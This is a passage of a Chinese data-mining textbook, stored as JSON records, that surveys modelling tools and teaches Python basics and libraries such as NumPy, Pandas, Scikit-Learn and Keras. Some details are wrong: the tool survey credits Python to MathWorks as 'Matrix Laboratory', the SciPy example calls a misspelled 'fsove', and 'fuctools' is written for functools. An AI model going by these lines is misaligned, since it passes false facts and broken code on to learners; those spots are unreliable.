    {"text": "1.5 常用的数据挖掘建模工具 数据挖掘是一个反复探索的过程，只有将数据挖掘工具提供的技术和实施经验与企业的业务逻辑和需求紧密结合，并在实施过程中不断地磨合，才能取得好的效果。下面简单介绍几种常用的数据挖掘建模工具。 （1）SAS Enterprise Miner Enterprise Miner（EM）是SAS推出的一个集成的数据挖掘系统，允许使用和比较不同的技术，同时还集成了复杂的数据库管理软件。它的运行方式是通过在一个工作空间（workspace）中按照一定的顺序添加各种可以实现不同功能的节点，然后对不同节点进行相应的设置，最后运行整个工作流程（workflow），便可以得到相应的结果。 （2）IBM SPSS Modeler IBM SPSS Modeler原名Clementine，2009年被IBM公司收购后对产品的性能和功能进行了大幅度改进和提升。它封装了最先进的统计学和数据挖掘技术来获得预测知识，并将相应的决策方案部署到现有的业务系统和业务过程中，从而提高企业的效益。IBM SPSS Modeler拥有直观的操作界面、自动化的数据准备和成熟的预测分析模型，结合商业技术可以快速建立预测性模型。 （3）SQL Server Microsoft公司的SQL Server中集成了数据挖掘组件——Analysis Servers，借助SQL Server的数据库管理功能，可以无缝地集成在SQL Server数据库中。在SQL Server 2008中提供了决策树算法、聚类分析算法、Naive Bayes算法、关联规则算法、时序算法、神经网络算法、线性回归算法等9种常用的数据挖掘算法。但是，预测建模的实现是基于SQL Server平台的，平台移植性相对较差。 （4）Python Python（Matrix Laboratory，矩阵实验室）是美国Mathworks公司开发的应用软件，具备强大的科学及工程计算能力，它不但具有以矩阵计算为基础的强大数学计算能力和分析功能，而且还具有丰富的可视化图形表现功能和方便的程序设计能力。Python并不提供一个专门的数据挖掘环境，但它提供非常多的相关算法的实现函数，是学习和开发数据挖掘算法的很好选择。 （5）WEKA WEKA（Waikato Environment for Knowledge Analysis）是一款知名度较高的开源机器学习和数据挖掘软件。高级用户可以通过Java编程和命令行来调用其分析组件。同时，WEKA也为普通用户提供了图形化界面，称为WEKA Knowledge Flow Environment和WEKA Explorer，可以实现预处理、分类、聚类、关联规则、文本挖掘、可视化等。 （6）KNIME KNIME（Konstanz InformationMiner， http://www.knime.org ）是基于Java开发的，可以扩展使用Weka中的挖掘算法。KNIME采用类似数据流（data flow）的方式来建立分析挖掘流程。挖掘流程由一系列功能节点组成，每个节点有输入/输出端口，用于接收数据或模型、导出结果。 （7）RapidMiner RapidMiner也称为YALE（Yet Another Learning Environment， https://rapidminer.com ），提供图形化界面，采用类似Windows资源管理器中的树状结构来组织分析组件，树上每个节点表示不同的运算符（operator）。YALE中提供了大量的运算符，包括数据处理、变换、探索、建模、评估等各个环节。YALE是用Java开发的，基于Weka来构建，可以调用Weka中的各种分析组件。RapidMiner有拓展的套件Radoop，可以和Hadoop集成起来，在Hadoop集群上运行任务。 （8）TipDM TipDM（顶尖数据挖掘平台）使用Java语言开发，能从各种数据源获取数据，建立多种数据挖掘模型。TipDM目前已集成数十种预测算法和分析技术，基本覆盖了国外主流挖掘系统支持的算法。TipDM支持数据挖掘流程所需的主要过程：数据探索（相关性分析、主成分分析、周期性分析）；数据预处理（属性选择、特征提取、坏数据处理、空值处理）；预测建模（参数设置、交叉验证、模型训练、模型验证、模型预测）；聚类分析、关联规则挖掘等一系列功能。 1.6 小结 本章从一个知名餐饮企业经营过程中存在的困惑出发，引出数据挖掘的概念、基本任务、建模过程及常用工具。 如何帮助企业从数据中洞察商机，提取价值，这是现阶段所有企业都关心的问题。通过发生在身边的案例，由浅入深地引出深奥的数据挖掘理论，让读者在不知不觉中感悟到数据挖掘的非凡魅力！本案例同时也贯穿到第3章至第5章的理论介绍中。"},
    {"text": "第2章 Python数据分析简介 Python是一门简单易学且功能强大的编程语言。它拥有高效的高级数据结构，并且能够用简单而又高效的方式进行面向对象编程。Python优雅的语法和动态类型，再结合它的解释性，使其在许多领域成为编写脚本或开发应用程序的理想语言。 要认识Python，首先得明确一点，Python是一门编程语言！这就意味着，原则上来说，它能够完成Matlab能够做的所有事情（因为大不了从头开始编写），而且在大多数情况下，同样功能的Python代码会比Matlab代码更加简洁、易懂；另一方面，因为它是一门编程语言，所以它能够完成很多Matlab不能做的事情，比如开发网页、开发游戏、编写爬虫来采集数据等。 Python以开发效率著称，也就是说，它致力于以最短的代码完成任务。Python通常为人诟病的是它的运行效率，而Python还被称为“胶水语言”，它允许我们把耗时的核心部分用C/C++等更高效率的语言编写，然后由它来“黏合”，这很大程度上已经解决了Python的运行效率问题。事实上，在大多数数据任务上，Python的运行效率已经可以媲美C/C++语言。 本书致力于讲述用Python进行数据挖掘这一部分功能，而这部分功能，仅仅是Python强大功能中的冰山一角。随着NumPy、SciPy、Matplotlib和Pandas等众多程序库的开发，Python在科学领域占据着越来越重要的地位，包括科学计算、数学建模、数据挖掘，甚至可以预见，未来Python将会成为科学领域的编程语言的主流。图2-1和图2-2是一些编程语言的使用排行榜图，它们可以证明Python越来越受欢迎。 图2-1 2015年06月的TIOBE编程语言排行榜，每月更新一次 [1] 图2-2 上图是近年天文学论文中所涉及的编程语言的趋势图，根据ADS中的论文致谢所提及的编程语言次数而制作 [2] 2.1 搭建Python开发平台 2.1.1 所要考虑的问题 Python的官网： https://www.python.org/ 。 搭建Python开发平台有几个问题需要考虑，第一是选择什么操作系统，是Windows还是Linux？第二是选择哪个Python版本，是2.x还是3.x？ 首先，来回答后一个问题。3.x是对2.x的一个较大的更新，可以认为，Python 3.x什么都好，就是它的部分代码不兼容2.x的，这使得不少好用的库都无法支持3.x（值得庆幸的是，越来越多的主流库已经开始支持3.x了）。对于本书来说，本书使用Python 2.7版本，但是本书的代码尽可能地同时兼容2.x和3.x，包括在各种第三方库也使用两个版本都兼容的扩展库。因此，在阅读本书的时候，不管你已经装了2.x还是3.x，都无须在这个问题上太多纠结。 其次，就是选择操作系统的问题，主要是在Windows和Linux之间选择。Python是跨平台的语言，因此脚本可以跨平台运行。然而，不同的平台运行效率不一样，一般来说，在Linux下的运行速度会比Windows快，而且是对于数据分析和挖掘任务。此外，在Linux下搭建Python环境相对来说容易一些，很多Linux发行版自带了Python程序，并且在Linux下更容易解决第三方库的依赖问题。当然，Linux的操作门槛较高，入门的读者可以先在Windows环境下熟悉，然后再考虑迁移到Linux环境中。 2.1.2 基础平台的搭建 第一步是Python核心程序的安装，分为Windows和Linux介绍；最后介绍一个Python的科学计算发行版——Anaconda。 （1）Windows 在Windows系统中安装Python比较容易，直接到官方网站下载相应的msi安装包安装即可，和一般软件的安装无异，在此不赘述。安装包还分32位和64位版本，请读者自行选择适合的版本。 （2）Linux 大多数Linux发行版，如CentOs、Debian、Ubuntu等，都已经自带了Python 2.x的主程序，因此并不需要额外安装。 （3）Anaconda 安装Python核心程序只是第一步，为了实现更丰富的科学计算功能，还需要安装一些第三方的扩展库，这对于一般的读者来说可能显得比较麻烦，尤其是在Windows环境中还可能出现各种错误。幸好，已经有人专门将科学计算所需要的模块都编译好，然后打包以发行版的形式供用户使用，Anaconda就是其中一个常用的科学计算发行版。 Anaconda的特点如下。 1）包含了众多流行的科学、数学、工程、数据分析的Python包。 2）完全开源和免费。 3）额外的加速、优化是收费的，但对于学术用途可以申请免费的License。 4）全平台支持：Linux、Windows、Mac；支持Python 2.6、2.7、3.3、3.4，可自由切换。 因此，推荐初级读者（尤其是Windows环境下的读者）安装此Python发行版。读者只需要到官方网站下载安装包安装，网址为： http://continuum.io/downloads 。 安装好Python后，只需要在命令窗口输入python就可以进入Python环境，如图2-3是在Windows下启动Python 2.7.8的界面。 图2-3 Python 2.7.8在Windows下的启动"},
    {"text": "2.2 Python使用入门 限于篇幅，本书不可能详细地讲解Python的使用，而只能是针对本书涉及的数据挖掘案例所用到的代码进行基本讲解。 如果读者是初步接触Python，并且用Python的目的就是数据挖掘，那么相信本节的介绍对你来说是比较充足的。 如果读者需要进一步了解Python，或者需要运行更加复杂的任务，那么本书是不够的（例如，本书没有谈及到面向对象编程），请读者自行阅读相应的Python教程。"},
    {"text": "2.2.1 运行方式 本节示例代码使用的是Python 2.7。 运行Python代码有两种方式，一种方式是启动Python，然后在命令窗口下直接输入相应的命令； 另外一种就是将完整的代码写成.py脚本，如hello.py，然后通过python hello.py执行，如下所示。 # hello.py print 'Hello World!' 执行结果如图2-4所示。 图2-4 Hello.py 在编写脚本的时候，可以添加适当的注释。"},
    {"text": "在每一行中，可以用井号“#”来添加注释，例如： a = 2 + 3 # 这句命令的意思是将 2+3 的结果赋值给 a 如果注释有多行，可以在两个“'''”之间（3个英文的单引号）添加注释内容。"},
    {"text": "''' 如果脚本中带有中文（中文注释或者中文字符串，中文字符串要在前面加u），那么需要在文件头注明编码，并且还要将脚本保存为UTF-8编码格式。"},
    {"text": "a, b, c = 2, 3, 4 这句命令相当于 a = 2 b = 3 c = 4 Python支持对字符串的灵活操作，如： s = 'I like python' s + ' very much' # 将 s 与 ' very much' 拼接，得到 'I like python very much' s.split(' ') # 将 s 以空格分割，得到列表 ['I', 'like', 'python'] （2）判断与循环 显然判断和循环是所有编程语言的基本命令，Python的判断语句如下。 if 条件 1: 语句 2 elif 条件 3: 语句 4 else: 语句 5 需要特别指出的是，Python一般不用花括号{}，也没有end语句，它是用缩进对齐作为语句的层次标记。"},
    {"text": "s = 0 for k in range(101): # 该循环过程也是求 1+2+3+...+100 s = s + k print s 这里，我们看到了in和range语法，in是一个非常方便、而且非常直观的语法，用来判断一个元素是否在列表/元组中，range用来生成连续的序列，一般语法为range（a，b，c），表示以a为首项、c为公差且不超过b-1的等差数列，例如， s = 0 if s in range(4): print u's 在 0, 1, 2, 3 中 ' if s not in range(1, 4, 1): print u's 不在 1, 2, 3 中 ' （3）函数 Python用def来自定义函数。"},
    {"text": "def add2(x): return x+2 print add2(1) # 输出结果为 3 这很普通，没什么特别的，但是与一般编程语言不同的是，Python的函数返回值可以是各种形式，比如返回列表，甚至返回多个值。 def add2(x = 0, y = 0): # 定义函数，同时定义参数的默认值 return [x+2, y+2] # 返回值是一个列表 def add3(x, y): return x+3, y+3 # 双重返回 a, b = add3(1,2) # 此时 a=4,b=5 有时候，像定义add2（）这类简单的函数，用def来正式地写个命名、计算和返回显得有点麻烦了，Python支持用lambda对简单的功能定义“行内函数”，这有点像Matlab中的“匿名函数”，如下。 f = lambda x : x + 2 # 定义函数 f(x)=x+2 g = lambda x, y: x + y # 定义函数 g(x,y)=x+y 2.2.3 数据结构 Python有4个内建的数据结构——List（列表）、Tuple（元组）、Dictionary（字典）以及Set（集合），它们可以统称为容器（container），因为它们实际上是一些“东西”组合而成的结构，而这些“东西”，可以是数字、字符甚至是列表，或者是它们之间几种的组合。"},
    {"text": "（1）列表/元组 列表和元组都是序列结构，它们本身很相似，但又有一点不同的地方。 从外形上看，列表与元组的区别是，列表是用方括号标记的，如a＝[1，2，3]，而元组是用圆括号标记的，如b＝（4，5，6），访问列表和元组中的元素的方式都是一样的，如a[0]等于1，b[2]等于6等。"},
    {"text": "c = [1, 'abc', [1, 2]] ''' c 是一个列表，列表的第一个元素是整型 1 ，第二个是字符串 'abc' ，第三个是列表 [1, 2] ''' 从功能上看，列表与元组的区别是，列表可以被修改，而元组不可以。 比如，对于a＝[1，2，3]，那么语句a[0]＝0，就会将列表a修改为[0，2，3]，而对于元组b＝（4，5，6），语句b[0]＝1就会报错。 要注意的是，如果已经有了一个列表a，同时想复制a，命名为变量b，那么b＝a是无效的，这时候b仅仅是a的别名（或者说引用），修改b也会修改a的。"},
    {"text": "与列表有关的函数是list，与元组有关的函数是tuple，它们的用法和功能几乎一样，都是将某个对象转换为列表/元组，如list（'ab'）的结果是['a'，'b']，tuple（[1，2]）的结果是（1，2）。"},
    {"text": "表2-1是一些常见的与列表/元组相关的函数。 表2-1 列表/元组相关的函数 此外，作为对象，列表本身自带了很多实用的方法（元组不允许修改，因此方法很少），见表2-2。 表2-2 列表相关的方法 最后，不能不提的是“列表解析”这一功能，它能够简化我们对列表内元素逐一进行操作的代码，如下面的代码 a = [1, 2, 3] b = [] for i in a: b.append(i + 2) 可以简化到 a = [1, 2, 3] b = [i+2 for i in a] 这样的语法不仅方便，而且直观！"},
    {"text": "创建一个字典的基本方法为： d = {'today':20, 'tomorrow':30} 这里的'today'、'tomorrow'就是字典的键，它在整个字典中必须是唯一的，而20、30就是键对应的值，访问字典中元素的方法也很直观。 d['today'] # 该值为 20 d['tomorrow'] # 该值为 30 还有其他一些比较方便的方法来创建一个字典，如通过dict（）函数转换，或者通过dict.fromkeys来创建，如下。 dict([['today', 20], ['tomorrow', 30]]) # 也相当于 {'today':20, 'tomorrow':30} dict.fromkeys(['today', 'tomorrow'], 20) # 相当于 {'today':20, 'tomorrow':20} 很多字典的函数和方法与列表是一样的，因此在这里就不再赘述了。"},
    {"text": "（3）集合 Python内置了集合这一数据结构，同数学上的集合概念基本上是一致的，它与列表的区别在于：1.它的元素是不重复的，而且是无序的；"},
    {"text": "s = {1, 2, 2, 3} # 注意 2 会自动去重，得到 {1, 2, 3} s = set([1, 2, 2, 3]) # 同样，它将列表转换为集合，得到 {1, 2, 3} 由于集合的特殊性（特别是无序性），因此集合有一些特别的运算。"},
    {"text": "a = t | s #t 和 s 的并集 b = t & s #t 和 s 的交集 c = t – s # 求差集（项在 t 中，但不在 s 中） d = t ^ s # 对称差集（项在 t 或 s 中，但不会同时出现在二者中） 在本书中，集合并不常用，所以这里仅仅简单地介绍它，并不进行详细说明，如果读者想深入了解集合对象，请自行搜索相关教程。"},
    {"text": "（4）函数式编程 函数式编程（Functional Programming）或者函数程序设计，又称泛函编程，是一种编程范型，它将计算机运算视为数学上的函数计算，并且避免使用程序状态以及易变对象。 简单来讲，函数式编程是一种“广播式”的编程，一般结合前面提到过的lambda定义函数，用于科学计算中，会显得特别简洁方便。 在Python中，函数式编程主要由几个函数的使用构成：lambda（）、map（）、reduce（）、filter（），lambda前面已经介绍过，主要用来自定义“行内函数”，所以现在我们逐一介绍后三个。"},
    {"text": "假设有一个列表a＝[1，2，3]，要给列表中的每个元素都加2得到一个新列表，利用前面已经谈及过的“列表解析”，我们可以这样写： b = [i+2 for i in a] 而利用map函数我们可以这样写： b = map(lambda x: x+2, a) b = list(b) # 结果是 [3, 4, 5] ''' 在 3.x 需要 b = list(b) 这一步，在 2.x 不需要这步，原因是在 3.x 中， map 函数仅仅是创建一个待运行的命 令容器，只有其他函数调用它的时候才返回结果。 ''' 也就是说，我们首先定义一个函数，然后再用map（）命令将函数逐一应用到（map）列表中的每个元素，最后返回一个数组。 map（）命令也接受多参数的函数，如map（lambda x，y：x*y，a，b）表示将a、b两个列表的元素对应相乘，把结果返回给新列表。 也许有的读者会疑问，有了列表解析，为什么还要有map（）命令呢？ 其实列表解析虽然代码简短，但是本质上还是for命令，而Python的for命令效率并不高，而map（）函数实现了相同的功能，并且效率更高，原则上来说，它的循环命令速度相当于C语言。"},
    {"text": "先给出一个例子，这个例子可以算出n的阶乘： reduce(lambda x,y: x*y, range(1, n+1)) （注：在2.x中，上述命令可以直接运行，在3.x中，reduce函数已经被移出了全局命名空间，它被置于fuctools库中，如需使用，则要通过from fuctools import reduce引入reduce） 其中，range（1，n+1）相当于给出了一个列表，元素是1~n这n个整数。"},
    {"text": "reduce命令首先将列表的前两个元素作为函数的参数进行运算，然后将运算结果与第三个数字作为函数的参数，然后再将运算结果与第四个数字作为函数的参数……依此递推，直到列表结束，返回最终结果。"},
    {"text": "顾名思义，它是一个过滤器，用来筛选出列表中符合条件的元素，例如， b = filter(lambda x: x > 5 and x < 8, range(10)) b = list(b) # 结果是 [6, 7] ，在 3.x 需要 b = list(b) 这一步，在 2.x 不需要这步，理由同 map 使用filter（）函数首先需要一个返回值为bool型的函数，如上述的lambda x：x>5and x<8定义了一个函数，判断x是否大于5且小于8，然后将这个函数作用到range（10）的每个元素中，如果为True，则“挑出”那个元素，最后将满足条件的所有元素组成一个列表返回。 当然，上述filter语句，可以用列表解析写为： b = [i for i in range(10) if i > 5 and i < 8] 它并不比filter语句复杂。"},
    {"text": "但是要注意，我们使用map（）、reduce（）或filter（），最终目的是兼顾简洁和效率，因为map（）、reduce（）或filter（）的循环速度比Python内置的for或while循环要快得多。"},
    {"text": "2.2.4 库的导入与添加 上面我们已经讲述了Python基本平台的搭建和使用，然而在默认情况下它并不会将它所有的功能加载进来。 我们需要把更多的库（或者叫作模块、包等）加载进来，甚至需要额外安装第三方的扩展库，以丰富Python的功能，实现我们的目的。"},
    {"text": "（1）库的导入 Python本身内置了很多强大的库，如数学相关的math库，可以为我们提供更加丰富复杂的数学运算： import math math.sin(1) # 计算正弦 math.exp(1) # 计算指数 math.pi # 内置的圆周率常数 导入库的方法，除了使用“import库名”之外，还可以为库起一个别名： import math as m m.sin(1) # 计算正弦 此外，如果并不需要导入库中的所有函数，可以特别指定导入函数的名字： from math import exp as e # 只导入 math 库中的 exp 函数，并起别名 e e(1) # 计算指数 sin(1) # 此时 sin(1) 和 math.sin(1) 都会出错，因为没被导入 直接地导入库中的所有函数： from math import * # 直接的导入，也就是去掉 math. ，但如果大量地这样引入第三库，就容易引起命名冲突。"},
    {"text": "为了保证兼容性，本书的基本代数是使用3.x的语法编写的，而使用2.x的读者，可以通过引入future特征的方式兼容代码，如， # 将 print 变成函数形式，即用 print(a) 格式输出 from __future__ import print_function #3.x 的 3/2=1.5 ， 3//2 才等于 1 ； 2.x 中 3/2=1 from __future__ import division （3）添加第三方库 Python自带了很多库，但不一定可以满足我们的需求。"},
    {"text": "这里简单介绍一下第三方库的安装，以安装数据分析工具Pandas为例。 安装第三方库一般有以下几种思路，见表2-3。 表2-3 常见的安装第三方库的方法 这些安装方式将在2.3节中实际展示。"},
    {"text": "本书用到的库有Numpy、Scipy、Matplotlib、Pandas、Scikit-Learn、Keras和Gensim等，下面将对这些库的安装和使用进行简单的介绍。 如果读者安装的是Anaconda发行版，那么它已经自带了以下库：Numpy、Scipy、Mat-plotlib、Pandas和Scikit-Learn。"},
    {"text": "用Python进行科学计算是很丰富的学问，本书只是用到了它的数据分析和挖掘相关的部分功能，所涉及的一些库如表2-4所示。 读者可以参考书籍《用Python做科学计算》了解更多信息。"},
    {"text": "表2-4 Python数据挖掘相关扩展库 限于篇幅，我们仅仅介绍本书的案例中会用到的一些库，还有一些很实用的库并没有介绍，如涉及图片处理可以用Pillow（旧版为PIL，目前已经被Pillow代替）、涉及视频处理可以用OpenCV、涉及高精度运算可以用GMPY2等，而对于这些额外的知识，建议读者在遇到相应的问题时，自行到网上搜索相关资料。"},
    {"text": "值得强调的是，Numpy内置函数处理数据的速度是C语言级别的，因此在编写程序的时候，应当尽量使用它们内置的函数，避免出现效率瓶颈的现象（尤其是涉及循环的问题）。"},
    {"text": "此外，很多Linux发行版的软件源中都有Python常见的库，因此还可以通过Linux自带的软件管理器进行安装，如在Ubuntu下可以用 sudo apt-get install python-numpy 安装。"},
    {"text": "代码清单2-1 Numpy基本操作 # -*- coding: utf-8 -* import numpy as np # 一般以 np 作为 numpy 的别名 a = np.array([2, 0, 1, 5]) # 创建数组 print(a) # 输出数组 print(a[:3]) # 引用前三个数字（切片） print(a.min()) # 输出 a 的最小值 a.sort() # 将 a 的元素从小到大排序，此操作直接修改 a ，因此这时候 a 为 [0, 1, 2, 5] b= np.array([[1, 2, 3], [4, 5, 6]]) # 创建二维数组 print(b*b) # 输出数组的平方阵，即 [[1, 4, 9], [16, 25, 36]] Numpy是Python中相当成熟和常用的库，因此关于它的教程有很多，最值得一看的是它官网的帮助文档，还有很多中英文教程，读者遇到相应的问题时，可以自行搜索对应的内容。"},
    {"text": "Scipy包含的功能有最优化、线性代数、积分、插值、拟合、特殊函数、快速傅里叶变换、信号处理和图像处理、常微分方程求解和其他科学与工程中常用的计算，显然，这些功能都是挖掘与建模必备的。"},
    {"text": "安装Scipy的方式与安装Numpy的方法大同小异，需要提及的是，在Ubuntu下也可以用类似的 sudo apt-get install python-scipy 安装Scipy。 安装好Scipy后，可以通过以下命令简单试用。"},
    {"text": "代码清单2-2 Scipy求解非线性方程组和数值积分 # -*- coding: utf-8 -* # 求解非线性方程组 2x1-x2^2=1,x1^2-x2=2 from scipy.optimize import fsolve # 导入求解方程组的函数 def f(x): # 定义要求解的方程组 x1 = x[0] x2 = x[1] return [2*x1 - x2**2 - 1, x1**2 - x2 -2] result = fsove(f, [1,1]) # 输入初值 [1, 1] 并求解 print(result) # 输出结果，为 array([ 1.91963957, 1.68501606]) # 数值积分 from scipy import integrate # 导入积分函数 def g(x): # 定义被积函数 return (1-x**2)**0.5 pi_2, err = integrate.quad(g, -1, 1) # 积分结果和误差 print(pi_2 * 2) # 由微积分知识知道积分结果为圆周率 pi 的一半 参考链接： · http://www.scipy.org/ 。"},
    {"text": "Matplotlib的安装并没有什么特别之处，可以通过pip install matplotlib安装或者自行下载源代码安装，在Ubuntu下也可以用类似的。 sudo apt-get install python-matplotlib 安装。 Matplotlib的上级依赖库相对较多，手动安装的时候，需要逐一把这些依赖库都安装好。 安装完成后就可以牛刀小试了，下面是一个简单的作图例子，它基本包含了Matplotlib作图的关键要素，作图效果如图2-5所示。 代码清单2-3 Matplotlib作图的基本代码 # -*- coding: utf-8 -*- import numpy as np import matplotlib.pyplot as plt # 导入 Matplotlib x = np.linspace(0, 10, 1000) # 作图的变量自变量 y = np.sin(x) + 1 # 因变量 y z = np.cos(x**2) + 1 # 因变量 z plt.figure(figsize = (8, 4)) # 设置图像大小 plt.plot(x,y,label = '$\\sin x+1$', color = 'red', linewidth = 2) # 作图，设置标签、 线条颜色、线条大小 plt.plot(x, z, 'b--', label = '$\\cos x^2+1$') # 作图，设置标签、线条类型 plt.xlabel('Time(s) ') # x 轴名称 plt.ylabel('Volt') # y 轴名称 plt.title('A Simple Example') # 标题 plt.ylim(0, 2.2) # 显示的 y 轴范围 plt.legend() # 显示图例 plt.show() # 显示作图结果 图2-5 Matplotlib基本的作图例子 如果读者使用的是中文标签，就会发现中文标签无法正常显示。"},
    {"text": "这是由于Matplotlib的默认字体是英文字体所致，解决它的办法是在作图之前手动指定默认字体为中文字体，如黑体（SimHei）。 plt.rcParams['font.sans-serif'] = ['SimHei'] # 这两句用来正常显示中文标签 另外，保存作图图像时，负号有可能显示不正常，可以通过以下代码解决： plt.rcParams['axes.unicode_minus'] = False # 解决保存图像是负号 '-' 显示为方块的问题 这里有一个小建议给读者：有时间多去Matplotlib提供的“画廊”欣赏它做出来的漂亮效果，也许你就慢慢地爱上Matplotlib作图了。"},
    {"text": "Pandas的名称来自于面板数据（Panel Data）和Python数据分析（Data Analysis），它最初被作为金融数据分析工具而开发出来，由AQR Capital Management公司于2008年4月开发出来，并于2009年底开源。"},
    {"text": "事实上，单纯Pandas工具就足以写一本书，读者可以阅读Pandas的主要作者之一Wes McKinney写的《利用Python进行数据分析》一书，学习更详细的内容。"},
    {"text": "（1）安装 Pandas的安装相对来说比较容易，安装好Numpy之后，就可以直接安装了，通过pip install pandas或下载源码后python setup.py install安装均可。"},
    {"text": "由于我们频繁用到读取和写入Excel，但默认的Pandas还不能读写Excel文件，需要安装xlrd（读）和xlwt（写）库才能支持Excel的读写，方法如下。 pip install xlrd #为Python添加读取Excel的功能 pip install xlwt #为Python添加写入Excel的功能 （2）使用 在后面的章节中，我们会逐步展示Pandas的强大功能，而在本节，我们先以简单的例子一睹为快。"},
    {"text": "为了定位Series中的元素，Pandas提供了Index对象，每个Series都会带有一个对应的Index，用来标记不同的元素，Index的内容不一定是数字，也可以是字母、中文等，它类似于SQL中的主键。"},
    {"text": "s = pd.Series([1,2,3], index=['a', 'b', 'c']) # 创建一个序列 s d = pd.DataFrame([[1, 2, 3], [4, 5, 6]], columns = ['a', 'b', 'c']) # 创建一个表 d2 = pd.DataFrame(s) # 也可以用已有的序列来创建表格 d.head() # 预览前 5 行数据 d.describe() # 数据基本统计量 # 读取文件，注意文件的存储路径不能带有中文，否则读取可能出错。 pd.read_excel('data.xls') # 读取 Excel 文件，创建 DataFrame 。 pd.read_csv('data.csv', encoding = 'utf-8') # 读取文本格式的数据，一般用 encoding 指定编码。"},
    {"text": "由于Pandas是本书的主力工具，在后面将会频繁使用它，因此在这里就不进行详细介绍了，在后面的使用过程中将会更加详尽地讲解Pandas的使用方法。"},
    {"text": "2.3.5 StatsModels Pandas着眼于数据的读取、处理和探索，而StatsModels则更加注重数据的统计建模分析，它使得Python有了R语言的味道。 StatsModels支持与Pandas进行数据交互，因此，它与Pandas结合，成为了Python下强大的数据挖掘组合。"},
    {"text": "如果手动安装的话，需要自行解决好依赖问题，StatModel依赖于Pandas（当然也依赖于Pandas所依赖的），同时还依赖于pasty（一个描述统计的库）。"},
    {"text": "# -*- coding: utf-8 -*- from statsmodels.tsa.stattools import adfuller as ADF # 导入 ADF 检验 import numpy as np ADF(np.random.rand(100)) # 返回的结果有 ADF 值、 p 值等 参考链接： · http://statsmodels.sourceforge.net/stable/index.html 。"},
    {"text": "2.3.6 Scikit-Learn 从该库的名字可以看出，这是一个机器学习相关的库。 不错，Scikit-Learn是Python下强大的机器学习工具包，它提供了完善的机器学习工具箱，包括数据预处理、分类、回归、聚类、预测和模型分析等。 Scikit-Learn依赖于NumPy、SciPy和Matplotlib，因此，只需要提前安装好这几个库，然后安装Scikit-Learn就基本上没有什么问题了，安装方法和前几节一样，要不就是pip install scikit-learn安装，要不就是下载源码自己安装。"},
    {"text": "创建一个机器学习的模型很简单： # -*- coding: utf-8 -*- from sklearn.linear_model import LinearRegression # 导入线性回归模型 model = LinearRegression() # 建立线性回归模型 print(model) 1）所有模型提供的接口有： model.fit（）：训练模型，对于监督模型来说是fit（X，y），对于非监督模型是fit（X）。"},
    {"text": "2）监督模型提供的接口有： model.predict（X_new）：预测新样本 model.predict_proba（X_new）：预测概率，仅对某些模型有用（比如LR） model.score（）：得分越高，fit越好 3）非监督模型提供的接口有： model.transform（）：从数据中学到新的“基空间”。"},
    {"text": "# -*- coding: utf-8 -*- from sklearn import datasets # 导入数据集 iris = datasets.load_iris() # 加载数据集 print(iris.data.shape) # 查看数据集大小 from sklearn import svm # 导入 SVM 模型 clf = svm.LinearSVC() # 建立线性 SVM 分类器 clf.fit(iris.data, iris.target) # 用数据训练模型 clf.predict([[ 5.0, 3.6, 1.3, 0.25]]) # 训练好模型之后，输入新的数据进行预测 clf.coef_ # 查看训练好模型的参数 参考链接： http://scikit-learn.org/ 。"},
    {"text": "人工神经网络是功能相当强大的、但是原理又相当简单的模型，在语言处理、图像识别等领域有着重要的作用。 近年来逐渐火起来的“深度学习”算法，本质上也就是一种神经网络，可见在Python中实现神经网络是非常必要的。"},
    {"text": "本书用Keras库来搭建神经网络。 事实上，Keras并非简单的神经网络库，而是一个基于Theano的强大的深度学习库，利用它不仅仅可以搭建普通的神经网络，还可以搭建各种深度学习模型，如自编码器、循环神经网络、递归神经网络、卷积神经网络等。"},
    {"text": "有必要介绍一下Theano，它也是Python的一个库，它是由深度学习专家Yoshua Bengio带领的实验室开发出来的，用来定义、优化和高效地解决多维数组数据对应数学表达式的模拟估计问题。"},
    {"text": "用Theano就可以搭建起高效的神经网络模型，但是对于普通读者来说门槛还是相当高的，Keras正是为此而生，它大大简化了搭建各种神经网络模型的步骤，允许普通用户轻松地搭建并求解具有几百个输入节点的深层神经网络，而且定制的自由度非常大，甚至可能惊呼：搭建神经网络可以如此简单！"},
    {"text": "安装Theano先要准备一个C++编译器，这在Linux下是自带的。 因此，在Linux下安装Theano和Keras非常简单，只需要下载源代码，然后用python setup.py install安装就行了，具体可以参考官方文档。"},
    {"text": "简单搭建一个MLP（多层感知器），如下： # -*- coding: utf-8 -*- from keras.models import Sequential from keras.layers.core import Dense, Dropout, Activation from keras.optimizers import SGD model = Sequential() # 模型初始化 model.add(Dense(20, 64)) # 添加输入层（ 20 节点）、第一隐藏层（ 64 节点）的连接 model.add(Activation('tanh')) # 第一隐藏层用 tanh 作为激活函数 model.add(Dropout(0.5)) # 使用 Dropout 防止过拟合 model.add(Dense(64, 64)) # 添加第一隐藏层（ 64 节点）、第二隐藏层（ 64 节点）的连接 model.add(Activation('tanh')) # 第二隐藏层用 tanh 作为激活函数 model.add(Dropout(0.5)) # 使用 Dropout 防止过拟合 model.add(Dense(64, 1)) # 添加第二隐藏层（ 64 节点）、输出层（ 1 节点）的连接 model.add(Activation('sigmoid')) # 输出层用 sigmoid 作为激活函数 sgd = SGD(lr=0.1, decay=1e-6, momentum=0.9, nesterov=True) # 定义求解算法 model.compile(loss='mean_squared_error', optimizer=sgd) # 编译生成模型，损失函数为平均 误差平方和 model.fit(X_train, y_train, nb_epoch=20, batch_size=16) # 训练模型 score = model.evaluate(X_test, y_test, batch_size=16) # 测试模型 要注意的是，Keras的预测函数与Scikit-Learn有所差别，Keras用model.predict（）方法给出概率，model.predict_classes（）方法给出分类结果。"},
    {"text": "Gensim是用来处理语言方面的任务，如文本相似度计算、LDA、Word2Vec等，这些领域的任务往往需要比较多的背景知识，通常的情况是：研究这方面的读者，已经不需要我再多说什么；"},
    {"text": "需要一提的是，Gensim把Google公司在2013年开源的著名的词向量构造工具Word2Vec编译好了作为它的子库，因此需要用到Word2Vec的读者也可以直接用Gensim而无需自行编译了。 据说Gensim的作者对Word2Vec的代码进行了优化，据说它在Gensim下的表现比原生的Word2Vec还要快。"},
    {"text": "# -*- coding: utf-8 -*- import gensim, logging logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) #logging 是用来输出训练日志 # 分好词的句子，每个句子以词列表的形式输入 sentences = [['first', 'sentence'], ['second', 'sentence']] # 用以上句子训练词向量模型 model = gensim.models.Word2Vec(sentences, min_count=1) print(model['sentence']) # 输出单词 sentence 的词向量。"},
